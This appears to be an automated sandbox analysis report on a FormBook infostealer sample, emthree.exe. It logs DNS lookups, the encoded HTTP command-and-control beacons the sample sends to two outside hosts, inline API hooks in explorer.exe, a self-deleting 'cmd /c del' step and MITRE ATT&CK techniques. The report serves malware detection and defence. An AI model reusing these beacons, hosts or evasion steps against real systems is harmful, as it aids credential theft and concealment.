Nov 27, 2020 06:37:47.128029108 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:47.292691946 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.018973112 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019009113 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019030094 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019047976 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019066095 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:48.019074917 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019092083 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:48.019104004 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019130945 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019155025 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019174099 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019191980 CET	80	49746	184.154.50.243	192.168.2.5
Nov 27, 2020 06:37:48.019215107 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:48.019238949 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:48.019243002 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:48.019247055 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:37:48.019258976 CET	49746	80	192.168.2.5	184.154.50.243
Nov 27, 2020 06:38:07.723004103 CET	49747	80	192.168.2.5	23.27.109.19
Nov 27, 2020 06:38:07.894550085 CET	80	49747	23.27.109.19	192.168.2.5
Nov 27, 2020 06:38:07.894740105 CET	49747	80	192.168.2.5	23.27.109.19
Nov 27, 2020 06:38:07.894825935 CET	49747	80	192.168.2.5	23.27.109.19
Nov 27, 2020 06:38:08.068506002 CET	80	49747	23.27.109.19	192.168.2.5
Nov 27, 2020 06:38:08.068561077 CET	80	49747	23.27.109.19	192.168.2.5
Nov 27, 2020 06:38:08.068598032 CET	80	49747	23.27.109.19	192.168.2.5
Nov 27, 2020 06:38:08.068630934 CET	80	49747	23.27.109.19	192.168.2.5
Nov 27, 2020 06:38:08.068656921 CET	80	49747	23.27.109.19	192.168.2.5
Nov 27, 2020 06:38:08.068849087 CET	49747	80	192.168.2.5	23.27.109.19
Nov 27, 2020 06:38:08.068891048 CET	49747	80	192.168.2.5	23.27.109.19
Nov 27, 2020 06:38:08.068949938 CET	49747	80	192.168.2.5	23.27.109.19
Nov 27, 2020 06:38:08.068964958 CET	49747	80	192.168.2.5	23.27.109.19

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2020 06:35:59.423458099 CET	54757	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:35:59.450866938 CET	53	54757	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:00.254846096 CET	49992	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:00.282181025 CET	53	49992	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:22.684704065 CET	60075	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:22.711971998 CET	53	60075	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:23.952682018 CET	55016	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:23.997966051 CET	53	55016	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:44.839894056 CET	64345	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:44.875737906 CET	53	64345	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:45.319561005 CET	57128	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:45.355184078 CET	53	57128	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:45.782104969 CET	54791	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:45.809331894 CET	53	54791	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:46.375197887 CET	50463	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:46.410703897 CET	53	50463	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:46.524899006 CET	50394	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:46.562680960 CET	53	50394	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:46.857793093 CET	58530	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:46.893222094 CET	53	58530	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:47.262835979 CET	53813	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:47.298357010 CET	53	53813	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:47.721534014 CET	63732	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:47.759166002 CET	53	63732	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:48.233823061 CET	57344	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:48.270900011 CET	53	57344	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:48.312632084 CET	54450	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:48.349679947 CET	53	54450	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:48.373967886 CET	59261	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:48.409102917 CET	53	59261	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:49.397313118 CET	57151	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:49.432845116 CET	53	57151	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:49.880383968 CET	59413	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:49.907641888 CET	53	59413	8.8.8.8	192.168.2.5
Nov 27, 2020 06:36:53.477510929 CET	60516	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:36:53.519870996 CET	53	60516	8.8.8.8	192.168.2.5
Nov 27, 2020 06:37:04.756514072 CET	51649	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:37:05.704509974 CET	53	51649	8.8.8.8	192.168.2.5
Nov 27, 2020 06:37:22.738609076 CET	65086	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:37:22.765702009 CET	53	65086	8.8.8.8	192.168.2.5
Nov 27, 2020 06:37:23.996509075 CET	56432	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:37:24.023689032 CET	53	56432	8.8.8.8	192.168.2.5
Nov 27, 2020 06:37:25.893688917 CET	52929	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:37:25.942146063 CET	53	52929	8.8.8.8	192.168.2.5
Nov 27, 2020 06:37:26.103823900 CET	64317	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:37:26.162023067 CET	53	64317	8.8.8.8	192.168.2.5
Nov 27, 2020 06:37:46.346628904 CET	61004	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:37:46.497160912 CET	53	61004	8.8.8.8	192.168.2.5
Nov 27, 2020 06:38:07.318126917 CET	56895	53	192.168.2.5	8.8.8.8
Nov 27, 2020 06:38:07.721736908 CET	53	56895	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Nov 27, 2020 06:37:04.756514072 CET	192.168.2.5	8.8.8.8	0x7fe5	Standard query (0)	www.asojebu.com	A (IP address)	IN (0x0001)
Nov 27, 2020 06:37:26.103823900 CET	192.168.2.5	8.8.8.8	0x74c	Standard query (0)	www.haircuressteampod.com	A (IP address)	IN (0x0001)
Nov 27, 2020 06:37:46.346628904 CET	192.168.2.5	8.8.8.8	0xe6ba	Standard query (0)	www.porncamslivechat.com	A (IP address)	IN (0x0001)
Nov 27, 2020 06:38:07.318126917 CET	192.168.2.5	8.8.8.8	0x5dad	Standard query (0)	www.amarilloautoexpress.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Nov 27, 2020 06:37:05.704509974 CET	8.8.8.8	192.168.2.5	0x7fe5	Name error (3)	www.asojebu.com	none	none	A (IP address)	IN (0x0001)
Nov 27, 2020 06:37:26.162023067 CET	8.8.8.8	192.168.2.5	0x74c	Name error (3)	www.haircuressteampod.com	none	none	A (IP address)	IN (0x0001)
Nov 27, 2020 06:37:46.497160912 CET	8.8.8.8	192.168.2.5	0xe6ba	No error (0)	www.porncamslivechat.com	porncamslivechat.com		CNAME (Canonical name)	IN (0x0001)
Nov 27, 2020 06:37:46.497160912 CET	8.8.8.8	192.168.2.5	0xe6ba	No error (0)	porncamslivechat.com		184.154.50.243	A (IP address)	IN (0x0001)
Nov 27, 2020 06:38:07.721736908 CET	8.8.8.8	192.168.2.5	0x5dad	No error (0)	www.amarilloautoexpress.com		23.27.109.19	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.porncamslivechat.com

www.amarilloautoexpress.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49746	184.154.50.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 27, 2020 06:37:46.629072905 CET	5535	OUT	GET /unx5/?YBZpk4k0=aP/H6rv5dFlIxT1BkbsZYq0qqc+q/KR6FDazEtWbPmCTekqgSoQQ9LKqFpQ/1cw8Q+Tu&Wt=LhnLHro0q HTTP/1.1 Host: www.porncamslivechat.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2020 06:37:48.018973112 CET	5536	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Nov 2020 05:37:46 GMT Server: Apache Link: <https://porncamslivechat.com/wp-json/>; rel="https://api.w.org/" Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=1d6c5c8d17388afcc8a5932da9c3f004; path=/ Upgrade: h2,h2c Connection: Upgrade, close Referrer-Policy: no-referrer-when-downgrade Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 33 64 34 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 72 6f 2d 63 61 6d 2d 6d 75 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 2e 70 6e 67 22 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 63 61 63 68 65 2f 6d 69 6e 69 66 79 2f 32 66 36 38 32 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 72 6f 2d 63 61 6d 2d 6d 75 2f 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 70 6f 72 6e 63 61 6d 73 6c 69 76 65 63 68 61 74 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 63 61 63 68 65 2f 6d 69 6e 69 66 79 2f 62 66 66 64 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 35 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 Data Ascii: 3d48<!doctype html><html lang="en-US"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="https://gmpg.org/xfn/11"><link rel="apple-touch-icon" href="http://porncamslivechat.com/wp-content/themes/pro-cam-mu/images/icon.png"><link rel="stylesheet" href="http://porncamslivechat.com/wp-content/cache/minify/2f682.css" media="all" /><link rel="pingback" href="http://porncamslivechat.com/xmlrpc.php" />...[if lt IE 9]><script src="http://porncamslivechat.com/wp-content/themes/pro-cam-mu/js/html5.js" type="text/javascript"></script><![endif]--><script src="http://porncamslivechat.com/wp-content/cache/minify/bffd0.js"></script>... This site is optimized with the Yoast SEO plugin v15.3 - https://yoast.com/wordpress/plugins/s

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49747	23.27.109.19	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 27, 2020 06:38:07.894825935 CET	5550	OUT	GET /unx5/?YBZpk4k0=1w0hMOl97180k8Du4bGC2gk65X6wFt6LICq9bRyB5mmRHYVxdYOusOKtXf2j62HHiftJ&Wt=LhnLHro0q HTTP/1.1 Host: www.amarilloautoexpress.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2020 06:38:08.068506002 CET	5551	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Fri, 27 Nov 2020 05:38:20 GMT Connection: close Data Raw: 33 0d 0a ef bb bf 0d 0a Data Ascii: 3

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8F 0xFE 0xEA
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x87 0x7E 0xEA
GetMessageW	INLINE	0x48 0x8B 0xB8 0x87 0x7E 0xEA
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8F 0xFE 0xEA

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: emthree.exe PID: 4600 Parent PID: 5660

General

Start time:	06:36:03
Start date:	27/11/2020
Path:	C:\Users\user\Desktop\emthree.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\emthree.exe'
Imagebase:	0xf40000
File size:	459776 bytes
MD5 hash:	25B5788669A3A8F35596CE975F0823A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.240137106.00000000044F1000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.239603549.0000000003530000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: emthree.exe PID: 5772 Parent PID: 4600

General

Start time:	06:36:10
Start date:	27/11/2020
Path:	C:\Users\user\Desktop\emthree.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0x460000
File size:	459776 bytes
MD5 hash:	25B5788669A3A8F35596CE975F0823A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.275755986.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.276071726.0000000000AB0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.276033379.0000000000A50000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exe PID: 3472 Parent PID: 5772

General

Start time:	06:36:12
Start date:	27/11/2020
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff693d90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 6240 Parent PID: 3472

General

Start time:	06:36:25
Start date:	27/11/2020
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe
Imagebase:	0xac0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.489611416.0000000002D90000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.489786032.0000000003040000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.488444370.0000000000C50000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: cmd.exe PID: 6256 Parent PID: 6240

General

Start time:	06:36:29
Start date:	27/11/2020
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\emthree.exe'
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6264 Parent PID: 6256

General

Start time:	06:36:30
Start date:	27/11/2020
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff797770000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

